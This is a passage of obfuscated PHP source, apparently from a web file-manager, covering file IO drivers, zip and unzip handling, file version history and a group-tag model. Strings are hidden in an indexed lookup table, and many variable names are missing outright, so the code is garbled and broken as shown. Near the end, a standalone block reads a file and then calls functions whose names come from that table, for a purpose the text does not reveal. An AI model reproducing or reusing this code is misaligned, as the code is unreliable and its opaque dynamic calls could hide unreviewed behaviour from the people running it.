$Ĕ; } if ($ === !1) { $ = $ꔻ - $Ĕ; } if ($Ĕ + $ > $ꔻ) { $ = $ꔻ - $Ĕ; } if (!$ꔻ && $鋡->getType() == $뮀˯[109] && !$鋡->exist($Ź٠)) { $ܽ = get_path_this($Ź٠); $Ԓ = parse_url_query($ܽ); if (is_array($Ԓ) && isset($Ԓ[$뮀˯[32]])) { $ܽ = urldecode($Ԓ[$뮀˯[32]]); } throw new Exception($뮀˯[1238] . LNG($뮀˯[1239]) . $뮀˯[1037] . clear_html($ܽ) . $뮀˯[12]); } if ($ <= 0) { return $뮀˯[12]; } if ($Ĕ < 0 || $Ĕ >= $ꔻ || $ > 1024 * 1024 * 10) { throw new Exception("\146\151\x6c\x65\x52\x65\141\x64\40\x65\x72\x72\157\x72\41\x20\163\x74\x61\162\x74\75{$Ĕ}\x3b\x6c\145\x6e\x67\164\x68\x3d{$}\73\x20\x73\x69\172\x65\75{$ꔻ}\x3b"); } $胒ҋ = $鋡->fileSubstr($Ź٠, $Ĕ, $); if (!$胒ҋ && $ && isset($GLOBALS[$뮀˯[1240]])) { throw new Exception($GLOBALS[$뮀˯[1240]][$뮀˯[1241]]); } return $胒ҋ; } private static function driverMake(&$ϝ) { $ =& $_SERVER[]; $ʒ = KodIO::parse($ϝ); if (!self::$driverListSystem) { $Լ = Model($[834])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($Լ, $[475]); } if ($ʒ[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ʒ[$[475]]]) { throw new Exception($[1242]); return !1; } $ϝ = $ʒ[$[1243]]; $ɳ⤼ = self::driverGet($ʒ, $ϝ); return $ɳ⤼; } private static function driverGet($д, &$ም) { $ۀ =& $_SERVER[]; $ѡ = $д[$ۀ[1244]]; $Ͱ = $д[$ۀ[475]]; switch ($д[$ۀ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$Ͱ]; break; case KodIO::KOD_SOURCE: $ም = $Ͱ . $ም; $ = array($ۀ[1245] => $ۀ[1246], $ۀ[6] => $д); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$ۀ[1247]]; self::$driverListUser = array_to_keyvalue($, $ۀ[475]); } $ = self::$driverListUser[$Ͱ]; break; case KodIO::KOD_SHARE_LINK: $ = array($ۀ[1245] => $ۀ[1248], $ۀ[6] => $д); $ = Action($ۀ[1249])->sharePathInfo($д[$ۀ[87]]); $ም = $[$ۀ[193]]; if (!$[$ۀ[193]]) { $ = Model($ۀ[664])->getInfo($[$ۀ[665]]); $ም = KodIO::clear($[$ۀ[1250]] . $д[$ۀ[1243]]); $д[$ۀ[560]] = $; $д[$ۀ[1225]] = $ም; $ = array($ۀ[1245] => $ۀ[1251], $ۀ[6] => $д); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ۀ[1245] => $ۀ[1252], $ۀ[6] => $д); $ = Model($ۀ[664])->getInfo($д[$ۀ[475]]); if ($[$ۀ[193]] == $ۀ[228]) { $ም = KodIO::clear($[$ۀ[1250]] . $д[$ۀ[1243]]); $д[$ۀ[560]] = $; $д[$ۀ[1225]] = $ም; $ = array($ۀ[1245] => $ۀ[1253], $ۀ[6] => $д); } else { if (!$ም) { $ም = $[$ۀ[193]]; } } break; default: $ም = $д[$ۀ[87]]; $ = array($ۀ[1245] => $ۀ[1254]); break; } $ = $д[$ۀ[87]]; if (!isset(self::$driverCache[$])) { $Ɋ = strtolower($[$ۀ[98]]); $ƝĹ = $GLOBALS[$ۀ[6]][$ۀ[92]][$ۀ[900]]; $ = $ۀ[77] . (isset($ƝĹ[$Ɋ]) ? $ƝĹ[$Ɋ] : ucfirst($Ɋ)); if (!class_exists($)) { show_json("{$}\x20\156\x6f\x74\40\145\x78\151\x73\x74\163\x21", !1); } $ՙս = isset($[$ۀ[6]]) ? $[$ۀ[6]] : !1; self::$driverCache[$] = new $($ՙս); } $DŽ = self::$driverCache[$]; $DŽ->pathDriver = $ѡ; $DŽ->pathBase = $ۀ[12]; if (isset($[$ۀ[6]][$ۀ[1255]])) { $DŽ->pathBase = rtrim($[$ۀ[6]][$ۀ[1255]], $ۀ[8]) . $ۀ[8]; $ም = $DŽ->pathBase . ltrim($ም, $ۀ[8]); } $ም = $DŽ->getPath($ም); if (isset($д[$ۀ[1225]])) { $ም = $д[$ۀ[1225]]; } $DŽ->path = $ም; return $DŽ; } public static function errorTips($ʳ = false) { $ =& $_SERVER[]; static $΅ݞ = array(); $ԇ = 1000; if ($ʳ === -1) { return $΅ݞ ? $΅ݞ[count($΅ݞ) - 1] : $[12]; } if ($ʳ === !1) { return implode($[262], $΅ݞ); } if (count($΅ݞ) >= $ԇ) { $΅ݞ = array_slice($΅ݞ, $ԇ * 0.5, $ԇ); } $΅ݞ[] = $ʳ; write_log($[176] . ACTION . $[1256] . $ʳ, $[1257]); } public static function getLastError($Ր = '') { $ش = self::errorTips(-1); return $ش ? $ش : $Ր; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $؟ = IO::init($_SERVER[][8]); return $؟; } private static function iconvSystem($ƹ) { return self::local()->iconvSystem($ƹ); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($Пբޏ, $± = "\172\x69\160", $ = '', $♸ = REPEAT_RENAME) { $ﱹ =& $_SERVER[]; $ = IO::listPath($Пբޏ); if (!$) { return !1; } $ = array_merge($[$ﱹ[85]], $[$ﱹ[86]]); return self::zip($, $±, $, $♸); } public static function zip($Ɋӳ, $ = "\172\151\160", $ˑά = '', $ = REPEAT_RENAME) { $ڵɩ =& $_SERVER[]; if (is_string($Ɋӳ) && $Ɋӳ) { $Ɋӳ = array(array($ڵɩ[87] => $Ɋӳ)); } $ڿ = self::init($Ɋӳ[0][$ڵɩ[87]]); $ŕ = self::info($Ɋӳ[0][$ڵɩ[87]]); $ = $ڵɩ[12]; $ڀ֚ = $ڵɩ[12]; $² = $ڵɩ[12]; if ($ˑά && substr($ˑά, -1, 1) != $ڵɩ[8]) { $ڀ֚ = get_path_father($ˑά); $² = get_path_this($ˑά); } else { $ڀ֚ = self::pathFather($ŕ[$ڵɩ[87]]); $² = $ŕ[$ڵɩ[32]] . $ڵɩ[10] . $; if (count($Ɋӳ) > 1) { $冴 = IO::info($ڀ֚); $² = $冴[$ڵɩ[32]] . $ڵɩ[10] . $; } if ($ˑά) { $ڀ֚ = $ˑά; } } if ($ڿ->getType() == $ڵɩ[109]) { $ˠ = self::init($ڀ֚); $ܾ = $ˠ->getType() == $ڵɩ[109] ? $ڀ֚ : get_path_father($ڿ->path); $ܾ = rtrim($ܾ, $ڵɩ[8]) . $ڵɩ[8]; mk_dir($ܾ); } else { $ = TEMP_FILES . $ڵɩ[1258] . time() . rand_string(8) . $ڵɩ[8]; mk_dir($); file_put_contents($ . $ڵɩ[1259], $ڵɩ[12]); $ܾ = $; } $Ƶ = IO::info($ܾ); if (!$Ƶ || !$Ƶ[$ڵɩ[233]]) { show_json(LNG($ڵɩ[1260]), !1); } $ٲ = self::zipFileList($Ɋӳ, $); foreach ($ٲ as $ȶ => $ۤ) { $ٲ[$ȶ] = self::iconvSystem($ۤ); } $ = get_filename_auto($ܾ . $², $ڵɩ[12], $); KodArchive::create(self::iconvSystem($), $ٲ); if (!IO::exist($)) { if ($) { del_dir($); } write_log($ڵɩ[1261] . $, $ڵɩ[389]); show_json(LNG($ڵɩ[1262]), !1); } if (!$) { return $; } $ՠ = self::move($, $ڀ֚, $); if ($) { del_dir($); } if (!$) { write_log($ڵɩ[1263] . $ . $ڵɩ[1264] . $ڀ֚, $ڵɩ[389]); show_json(LNG($ڵɩ[1262]), !1); } return $ՠ; } public static function unzip($ு, $ᄛ, $ = "\x2d\x31", $ = "\162\x65\160\154\x61\x63\x65") { $ =& $_SERVER[]; $ = parent::info($ு); if (!$) { show_json(LNG($[1265]), !1); } $к = IO::infoFullSimple($ᄛ); if (!$к) { $ᄛ = IO::mkdir($ᄛ); } if (isset($к[$[193]]) && trim($к[$[87]], $[8]) != trim($ᄛ, $[8])) { $ך = KodIO::make($к[$[192]]); $՛Ⱦ = IO::fileNameAuto($ך, $к[$[32]], REPEAT_RENAME_FOLDER, !0); $ᄛ = IO::mkdir($ך . $՛Ⱦ); } $ = $ && $ != $[1266] ? @json_decode($, !0) : -1; $͌ = self::unzipPart($ு, $); if (!$͌ || !IO::exist($͌[$[230]])) { show_json(LNG($[108]), !1); } $ = $͌[$[1267]][count($͌[$[1267]]) - 1]; if ($[$[1268]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ = $͌[$[1269]] . rand_string(10) . $[8]; mk_dir($); $ = count($͌[$[1267]]) == 1 ? IO::ext($ு) : get_path_ext($͌[$[230]]); $Ξٓ = KodArchive::extract(self::iconvSystem($͌[$[230]]), $, $[$[1268]], $՛Ⱦ, $); self::unzipErrorCheck($Ξٓ, array($[1270], $ு, $, $ᄛ, $͌)); Hook::trigger($[1271], $); recursion_dir($, $, $, 0); $ʹ = array_merge($, $); $ = array(); foreach ($ʹ as $) { $; = IO::move(self::iconvApp($), $ᄛ, $); if ($;) { $[] = $;; } } del_dir($); } else { $; = IO::move($͌[$[230]], $ᄛ, $, get_path_this($[$[32]])); if ($;) { $[] = $;; } } return $ ? $ : !1; } public static function unzipList($) { $ =& $_SERVER[]; $ݝ = isset($[$[1272]]) ? $[$[1272]] : !1; $ = isset($[$[1268]]) ? @json_decode($[$[1268]], !0) : -1; $޽ = self::unzipPart($[$[87]], $); if (!$޽ || !IO::exist($޽[$[230]])) { show_json(LNG($[108]), !1); } $ = $޽[$[1267]][count($޽[$[1267]]) - 1]; $ = in_array(IO::ext($޽[$[230]]), array($[389], $[1273], $[1274], $[1275], $[1276], $[1277])); if (!$ݝ && ($[$[1268]] == -1 || $)) { $߉ = $޽[$[1269]] . get_path_this($޽[$[230]]) . $[1278]; if (!IO::exist($߉)) { $ = $[$[1268]] == -1 ? get_path_ext(IO::pathThis($[$[87]])) : get_path_ext($޽[$[230]]); $ = KodArchive::listContent(self::iconvSystem($޽[$[230]]), !0, $); self::unzipErrorCheck($, array($[1279], $, $޽)); @file_put_contents($߉, json_encode($[$[1280]])); } return @json_decode(IO::getContent($߉), !0); } IO::fileOut($޽[$[230]], $ݝ, get_path_this($[$[32]])); die; } private static function zipFileList($ܚԂƤ, $ĵ܎ = false) { $Ҋ =& $_SERVER[]; $ӿ = array(); foreach ($ܚԂƤ as $ݰ) { $帙 = $ݰ[$Ҋ[87]]; if ($ĵ܎) { $帙 = self::copy($ݰ[$Ҋ[87]], $ĵ܎, $Ҋ[893]); } else { $ؤͲ = self::init($ݰ[$Ҋ[87]]); if ($ؤͲ->getType() == $Ҋ[109]) { $帙 = $ؤͲ->path; } } if ($帙 && self::local()->exist($帙)) { $ӿ[$ݰ[$Ҋ[87]]] = $帙; } } if (!empty($ӿ)) { return array_values($ӿ); } show_json(LNG($Ҋ[1239]), !1); } private static function localFilePath($ʑ) { $Ը =& $_SERVER[]; $ = KodIO::parse($ʑ); if ($[$Ը[33]] == KodIO::KOD_SOURCE) { $ڣ = Model($Ը[899])->fileInfoGet(KodIO::sourceID($ʑ)); if (!$ڣ[$Ը[87]]) { show_json($Ը[1281], !1); } $ʑ = $ڣ[$Ը[87]]; } $ = self::init($ʑ); if ($->pathParse[$Ը[1225]]) { $ʑ = $->pathParse[$Ը[1225]]; $ = self::init($ʑ); } $朗 = $->getType(); if ($朗 == $Ը[109] || $朗 == $Ը[1282]) { if (!$->exist($->path)) { show_json(LNG($Ը[108]), !1); } return $->path; } return !1; } public static function unzipPart($, $̛lj = -1) { $ =& $_SERVER[]; $ą = IO::pathThis($); if (!$̛lj || $̛lj == -1) { $ƑԴ = array(array($[32] => $ą, $[1268] => -1)); $ƑԴ[0][$[1283]] = $ƑԴ[0][$[32]]; } else { if (is_array($̛lj)) { $ƑԴ = $̛lj; $ = count($ƑԴ) - 1; for ($ = 0; $ <= $; $++) { $ԓ = $ƑԴ[$]; $ʼn = get_path_this($ԓ[$[32]]) . (checkExtSafe($ԓ[$[32]]) ? $[12] : $[1284]); $ƑԴ[$][$[1283]] = $[1285] . intval($ԓ[$[1268]]) . $[462] . $ʼn; if ($ == 0) { continue; } $ƑԴ[$][$[1283]] = $ƑԴ[$ - 1][$[1283]] . $[1286] . $ƑԴ[$][$[1283]]; } } } if (!is_array($ƑԴ) || count($ƑԴ) == 0) { return !1; } $ׁ = $ƑԴ[count($ƑԴ) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $[1287] . kodIO::hashPathSafe($) . $[8]; $σ = $ . $ׁ[$[1283]]; mk_dir($); file_put_contents(TEMP_FILES . $[1259], $[12]); if (IO::exist($σ)) { return array($[230] => $σ, $[1267] => $ƑԴ, $[1269] => $); } $ף = self::localFilePath($); if (!$ף) { $ף = $ . $[1288]; if (!IO::exist($ף)) { self::copy($, $, !1, get_path_this($ף)); } } if (!$ף || !IO::exist($ף)) { return !1; } if ($ׁ[$[1268]] == -1) { return array($[230] => $ף, $[1267] => $ƑԴ, $[1269] => $); } $ЫȘ = $ף; foreach ($ƑԴ as $ => $ԓ) { if (!$ԓ || $ԓ[$[1268]] == $[1266]) { break; } if (substr($ԓ[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($ԓ[$[1283]]), array($[389], $[1273], $[1274], $[1275], $[1276], $[1277])); $ƪ = $ == count($ƑԴ) - 1 && $; $ = $ . $ԓ[$[1283]]; $䜞ޅ = $ . get_path_this($ԓ[$[32]]); if (IO::exist($)) { $ЫȘ = $; continue; } $ = $ == 0 ? get_path_ext($ą) : get_path_ext($ЫȘ); $ = KodArchive::extract(self::iconvSystem($ЫȘ), $, $ԓ[$[1268]], $, $); self::unzipErrorCheck($, array($[1289], $, $ƑԴ, $ԓ, $)); if (IO::exist($䜞ޅ)) { IO::rename($䜞ޅ, get_path_this($)); } $ЫȘ = $; } $σ = $ЫȘ; return array($[230] => $ЫȘ, $[1267] => $ƑԴ, $[1269] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1290]]) { return !0; } write_log(array($[1291], $, $), $[1292]); show_json($[1293] . json_encode($[$[1280]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ˊ抓 = $GLOBALS[$[6]][$[92]]; if ($ˊ抓[$[1294]] != 1) { return; } if ($ˊ抓[$[1295]] <= 0) { return; } if (isset($_REQUEST[$[1296]]) && $_REQUEST[$[1296]] == $[91]) { return; } Hook::bind($[1297], $[1298]); Hook::bind($[1299], $[1300]); Hook::bind($[1301], $[1302]); Hook::bind($[1303], $[1304]); Hook::bind($[1305], $[1306]); Hook::bind($[1307], $[1308]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $Ïפ = self::parsePath($[0]); if (!$Ïפ) { return; } self::add($Ïפ); } public static function eventBeforeEdit($ہ) { $ڇЫ = self::parsePath($ہ[0]); if (!$ڇЫ) { return; } self::add($ڇЫ); } public static function eventBeforeCopyFile($, $, $, $硄, $Ӏ, $Ň) { $ =& $_SERVER[]; if (isset($->_data[$[1229]]) && $->_data[$[1229]]) { return; } $È = $->getPathOuter($硄); $ = self::parsePath($È); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ܭ =& $_SERVER[]; $䉲 = self::parsePath($[0]); if (!$䉲) { return; } $ = self::checkInHistory($䉲); if (!$) { return; } if ($[$ܭ[33]] == $ܭ[230]) { $܊ = self::listData($䉲); if ($܊ && $܊[$ܭ[445]]) { self::moveHistory($䉲, $[1]); } } else { IO::rename($[$ܭ[87]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $籙 = self::parsePath($[0]); if (!$籙) { return; } $™ = self::parsePath($[1]); if (!$™) { return; } $ު = $[3]; $ʊװ = self::checkInHistory($籙); if (!$ʊװ) { return; } $ = self::pathHistory($™); if ($ʊװ[$[33]] == $[230]) { $Ѩ = self::listData($籙); $· = rtrim($™, $[8]) . $[8] . ($ު ? $ު : get_path_this($籙)); $֠ = self::listData($·); if ($Ѩ && $Ѩ[$[445]] && $֠ && $֠[$[445]]) { return self::clear($籙); } if ($Ѩ && $Ѩ[$[445]]) { self::moveHistory($籙, $ު, $); } } else { IO::move($ʊװ[$[87]], $, !1, $ު); self::clearEmptyFolder(IO::pathFather($ʊװ[$[87]])); } } public static function eventAfterRemove($, $) { $ӕ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($[0]); if (!$) { return; } $Ꞻ = self::checkInHistory($); if (!$Ꞻ) { return; } if ($Ꞻ[$ӕ[33]] == $ӕ[230]) { $ = self::listData($, !1); if ($ && $[$ӕ[445]]) { self::clear($, !1); } } else { IO::remove($Ꞻ[$ӕ[87]]); self::clearEmptyFolder(IO::pathFather($Ꞻ[$ӕ[87]])); } } private static function checkInHistory($) { $Ȃ = self::pathHistory($); if (!IO::exist($Ȃ)) { $Ȃ .= $_SERVER[][1309]; } return IO::exist($Ȃ) ? IO::info($Ȃ) : !1; } private static function parsePath($χ) { $ =& $_SERVER[]; if (!$χ) { return !1; } if (isset($GLOBALS[$[1310]]) && $GLOBALS[$[1310]]) { return; } $ևז = KodIO::parse($χ); $ܽ = $ևז[$[33]]; $ = !$ܽ || $ܽ == KodIO::KOD_IO || $ܽ == KodIO::KOD_SHARE_ITEM; if (!$ || !$ևז[$[1311]]) { return !1; } if (substr($χ, 0, strlen(DATA_PATH . $[1312])) == DATA_PATH . $[1312]) { return !1; } if ($ܽ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($χ); if ($->pathParse[$[1225]]) { return self::parsePath($->pathParse[$[1225]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ӓ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1313]); foreach ($ӓ as $֙ǒ) { if (!$ܽ && substr($χ, 0, strlen($֙ǒ)) == $֙ǒ) { return !1; } } self::log($GLOBALS[$[1220]] . $[1314] . $χ); return $χ; } private static function pathHistory($ѝ) { $Ӌӎ =& $_SERVER[]; $ߢү = self::$_historyBase . ltrim(KodIO::clear($ѝ), $Ӌӎ[8]); $ߢү = str_replace(array($Ӌӎ[1315]), array($Ӌӎ[1316]), $ߢү); return $ߢү; } public static function log($Ł) { } public static function historyCount($،) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($، as $踌) { $ = get_path_father($踌); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($踌); } foreach ($ as $ => $笹) { $ϼ = self::parsePath($); if (!$ϼ) { continue; } foreach ($笹 as $) { $շ = self::listData(rtrim($ϼ, $[8]) . $[8] . $, !1); if ($շ && $շ[$[445]]) { $[rtrim($, $[8]) . $[8] . $] = count($շ[$[445]]); } } } return $; } public static function add($ˡ) { $ܴ =& $_SERVER[]; $ޡ = self::listData($ˡ); if (!$ޡ) { return; } $Ѳ = Model($ܴ[837])->get($ܴ[1317]); $ = intval($GLOBALS[$ܴ[6]][$ܴ[92]][$ܴ[1295]]); $ = $Ѳ == $ܴ[1318] ? min(5, $) : $; if ($ <= 0) { return; } $ڽ = IO::info($ˡ); $à = $ޡ[$ܴ[445]]; if ($ڽ[$ܴ[79]] == 0) { return; } if ($ڽ[$ܴ[79]] >= 1024 * 1024 * 500) { return !1; } $ɝ = IO::hashSimple($ˡ); if ($à && $à[0][$ܴ[672]] == $ɝ) { return !0; } if (array_key_exists($ܴ[233], $ڽ) && !$ڽ[$ܴ[233]]) { return !1; } $Ƚ = short_id(time()); $о = array($ܴ[475] => $Ƚ, $ܴ[672] => $ɝ, $ܴ[32] => $ڽ[$ܴ[32]] . $ܴ[10] . date($ܴ[1319]) . rand_string(1), $ܴ[79] => $ڽ[$ܴ[79]], $ܴ[527] => USER_ID, $ܴ[231] => time(), $ܴ[1320] => $ܴ[12]); IO::mkdir($ޡ[$ܴ[1321]]); $ = IO::copy($ˡ, $ޡ[$ܴ[1321]], !1, $о[$ܴ[32]]); if (!$) { self::clearEmptyFolder($ޡ[$ܴ[1321]]); return !1; } array_unshift($à, $о); if (count($à) > $) { $׭ƺ = array_slice($à, $); foreach ($׭ƺ as $Ɇ) { IO::remove($ޡ[$ܴ[1321]] . $Ɇ[$ܴ[32]]); } $à = array_slice($à, 0, $); } return self::saveData($ޡ[$ܴ[1322]], $à); } public static function remove($, $ɫ‰) { $ =& $_SERVER[]; $ = self::listData($); $‡ = array(); if (!$) { return !1; } foreach ($[$[445]] as $̭) { if ($̭[$[475]] == $ɫ‰) { IO::remove($[$[1321]] . $̭[$[32]]); continue; } $‡[] = $̭; } return self::saveData($[$[1322]], $‡); } public static function clear($ם, $᧻ = true) { $хΌ =& $_SERVER[]; $ʙϫ = self::listData($ם, $᧻); if (!$ʙϫ) { return !1; } foreach ($ʙϫ[$хΌ[445]] as $Ӛ) { IO::remove($ʙϫ[$хΌ[1321]] . $Ӛ[$хΌ[32]]); } return self::saveData($ʙϫ[$хΌ[1322]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[445]]) { return !1; } $Ɉ = $[1309]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $[$[1321]]; $ = substr(get_path_this($[$[1322]]), 0, -strlen($Ɉ)); foreach ($[$[445]] as $Ϋ => $ܦ) { $򱛢 = $ . substr($ܦ[$[32]], strlen($)); $茡 = IO::move($[$[1321]] . $ܦ[$[32]], $, !1, $򱛢); if ($茡) { $[$[445]][$Ϋ][$[32]] = $򱛢; } } $[$[1322]] = IO::move($[$[1322]], $, !1, $ . $Ɉ); self::saveData($[$[1322]], $[$[445]]); self::clearEmptyFolder($[$[1321]]); } public static function rollback($, $Ҋ) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ӯ = IO::info($); foreach ($[$[445]] as $ => $ᩢ) { if ($ᩢ[$[475]] == $Ҋ) { self::add($); $ = $[$[1321]] . $ᩢ[$[32]]; $з = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $ӯ[$[32]]); if ($з) { self::remove($, $Ҋ); } return $з; } } return !1; } public static function setDetail($ՠǜ, $́, $։) { $獒 =& $_SERVER[]; $ = self::listData($ՠǜ); if (!$) { return; } foreach ($[$獒[445]] as $ => $) { if ($[$獒[475]] == $́) { $[$獒[445]][$][$獒[1320]] = $։; self::saveData($[$獒[1322]], $[$獒[445]]); return !0; } } return !1; } public static function fileInfo($Ь, $˰) { $ԖҦ =& $_SERVER[]; $ק = self::listData($Ь); if (!$ק) { show_json(LNG($ԖҦ[108]), !1); } $Ǎݣ = $ԖҦ[12]; foreach ($ק[$ԖҦ[445]] as $ => $ݏ) { if ($ݏ[$ԖҦ[475]] != $˰) { continue; } $Ǎݣ = $ק[$ԖҦ[1321]] . $ݏ[$ԖҦ[32]]; break; } if (!$Ǎݣ) { show_json(LNG($ԖҦ[108]), !1); } return IO::info($Ǎݣ); } public static function fileOut($͜, $ɝ, $ = false) { $ =& $_SERVER[]; $Ԏ = self::fileInfo($͜, $ɝ); $ =& $GLOBALS[$[7]]; $ = isset($[$[1272]]) && $[$[1272]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1323]) { return IO::fileOutImage($Ԏ[$[87]], $[$[1324]]); } IO::fileOut($Ԏ[$[87]], $, get_path_this($͜)); } public static function listData($Ӆĕ, $Ø = true) { $܇ =& $_SERVER[]; if ($Ø && !IO::exist($Ӆĕ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($Ӆĕ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ٴ = self::pathHistory($Ӆĕ); $ = array($܇[1322] => $ٴ . $܇[1309], $܇[1321] => rtrim(get_path_father($ٴ), $܇[8]) . $܇[8], $܇[445] => array()); $ = IO::getContent($[$܇[1322]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$܇[445]] = $; } } return $; } private static function saveData($, $ϋ) { $ =& $_SERVER[]; self::log($[1325] . $ . $[74] . count($ϋ), $[819]); if ($ϋ) { return IO::setContent($, json_encode($ϋ)); } $ǜ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($ǜ); return !0; } public static function clearEmptyFolder($¤) { $ =& $_SERVER[]; if (trim($¤, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($¤); $̽ = IO::has($¤, !0); if ($̽[$[239]] > 0 || $̽[$[240]] > 0) { return; } IO::remove($¤); self::clearEmptyFolder($); } private static function getBasePath() { $ӕ =& $_SERVER[]; $Ȥ = Model($ӕ[1326])->get($ӕ[1327]); if ($Ȥ) { if (!IO::exist($Ȥ)) { IO::mkdir($Ȥ); } if (get_path_this($Ȥ) == $ӕ[1312]) { $Ѯ = $ӕ[1328] . rand_string(8); @rename($Ȥ, get_path_father($Ȥ) . $ӕ[8] . $Ѯ); $Ȥ = DATA_PATH . $Ѯ . $ӕ[8]; file_put_contents(DATA_PATH . $ӕ[1259], $ӕ[12]); Model($ӕ[1326])->set($ӕ[1327], $Ȥ); } return $Ȥ; } $Ȥ = DATA_PATH . $ӕ[1328] . rand_string(8) . $ӕ[8]; $Ȥ = IO::mkdir($Ȥ); $Ȥ = rtrim($Ȥ, $ӕ[8]) . $ӕ[8]; file_put_contents($Ȥ . $ӕ[1259], $ӕ[12]); file_put_contents(DATA_PATH . $ӕ[1259], $ӕ[12]); Model($ӕ[1326])->set($ӕ[1327], $Ȥ); return $Ȥ; } } goto BӪ̾; E: class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\146\141\166"; protected function cacheFunctionAlias($ȁ) { $ܭª =& $_SERVER[]; return array($ܭª[2075] => array($ȁ[0], $ܭª[2076]), $ܭª[2077] => array($ȁ[0], $ܭª[2078])); } protected function get($) { $֟ĺ =& $_SERVER[]; $ = Model($֟ĺ[585])->metaGet($, $֟ĺ[2079]); $Х = json_decode($, !0); return $Х ? $Х : array($֟ĺ[2080] => $֟ĺ[91], $֟ĺ[445] => array()); } protected function set($ȡˌ, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2080] => $[91], $[445] => array()); return Model($[585])->metaSet($ȡˌ, $[2079], json_encode($)); } protected function getByTagID($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[585])->getInfoSimple($)) { return !1; } $布ͯ = $this->get($); if (!$布ͯ || !isset($布ͯ[$[445]])) { return !1; } $ = array_find_by_field($布ͯ[$[445]], $[475], $); return is_array($) ? $ : !1; } public function listSource($, $Ѝʀ) { $ =& $_SERVER[]; if ($Ѝʀ && !is_array($Ѝʀ)) { $Ѝʀ = array($Ѝʀ); } $ = $this->listData($); $ƿ = array(); foreach ($ as $Յ) { $֮ = $Յ[$[87]]; if (!$֮) { continue; } if (!isset($ƿ[$֮])) { $ƿ[$֮] = array(); } $ƿ[$֮][] = $Յ[$[500]]; } $ = array(); foreach ($ƿ as $ => $ɠ) { $ф = !0; if (!$Ѝʀ) { $[] = $; continue; } foreach ($Ѝʀ as $) { if (!in_array($, $ɠ)) { $ф = !1; break; } } if ($ф) { $[] = $; } } if (!$) { return array(); } $͏ = array($[491] => array($[492], $), $[569] => $, $[190] => SourceModel::TYPE_GROUP); $ = Model($[1411])->listSource($͏); if (!$ || count($) == $[$[442]][$[443]]) { return $; } $ = array(); $֦ = array_to_keyvalue($[$[85]], $[12], $[193]); $‘ = array_to_keyvalue($[$[86]], $[12], $[193]); $ˉ = array_merge($‘, $֦); foreach ($ as $֮) { if (!in_array($֮, $ˉ)) { $[] = $֮; } } if ($) { $this->removeBySource($, $); } return $; } protected function listData($) { $˸ =& $_SERVER[]; $ӫ̄ = array($˸[1754] => 0, $˸[557] => array($˸[2081], 0), $˸[496] => $˸[2082] . $); $ژ = $˸[2083]; $ⅲ = $this->field($ژ)->where($ӫ̄)->order($˸[2084])->select(); return $ⅲ ? $ⅲ : array(); } protected function addToTag($, $, $ؗڤ) { $ =& $_SERVER[]; if (!$this->getByTagID($, $ؗڤ) || !$) { return !1; } if (!Model($[899])->pathInfo($)) { return !1; } $ۜȓ = array($[1754] => 0, $[557] => $ؗڤ, $[495] => $, $[496] => $[2085] . $, $[494] => $[12], $[1966] => 0); if ($this->where($ۜȓ)->find()) { return !1; } return $this->add($ۜȓ); } protected function removeFromTag($ʹ, $ڣ, $) { $娪 =& $_SERVER[]; if (!$this->getByTagID($ʹ, $) || !$ڣ) { return !1; } if (is_array($ڣ)) { $ڣ = array($娪[7], $ڣ); } $ = array($娪[1754] => 0, $娪[557] => $, $娪[496] => $娪[2085] . $ʹ, $娪[495] => $ڣ); return $this->where($)->delete(); } protected function removeByTag($ʠ, $Ư) { $Ζ =& $_SERVER[]; if (!$this->getByTagID($ʠ, $Ư)) { return !1; } $ = array($Ζ[1754] => 0, $Ζ[557] => $Ư, $Ζ[496] => $Ζ[2085] . $ʠ); return $this->where($)->delete(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ͨ = array($[1754] => 0, $[495] => $, $[557] => array($[1085], 0), $[496] => $[2085] . $); return $this->where($ͨ)->delete(); } } if ($_SERVER[$_SERVER[][846]] != $_SERVER[$_SERVER[][2086]]) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_SERVER[$_SERVER[][844]]); } class PluginModel extends ModelBaseLight { public $optionType = 